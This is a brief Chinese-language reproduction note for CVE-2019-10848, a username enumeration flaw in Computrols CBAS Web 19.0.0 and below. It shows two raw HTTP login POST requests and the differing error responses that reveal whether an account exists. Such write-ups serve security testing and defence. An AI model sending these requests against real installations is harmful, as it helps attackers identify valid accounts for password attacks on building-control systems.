002-CVE-2019-10848 Computrols CBAS Web 用户名枚举.md

760 B / 2021-07-17 00:01:24
    # CVE-2019-10848 Computrols CBAS Web 用户名枚举

## 漏洞影响

19.0.0及以下

## 复现过程

**测试无效用户：**


```bash
POST /cbas/index.php?m=auth&a=login HTTP/1.1

username=randomuser&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62
```

Response


```bash
<!-- Failed login comments appear here -->
<p class="alert-error">randomuser</p>
```

**测试有效用户：**


```bash
POST /cbas/index.php?m=auth&a=login HTTP/1.1

username=admin&password=&challenge=6e4344e7ac62520dba82d7f20ccbd422&response=e09aab669572a8e4576206d5c14befc5s
```

Response


```bash
<!-- Failed login comments appear here -->
<p class="alert-error">Invalid username/password combination.  Please try again!</p>
```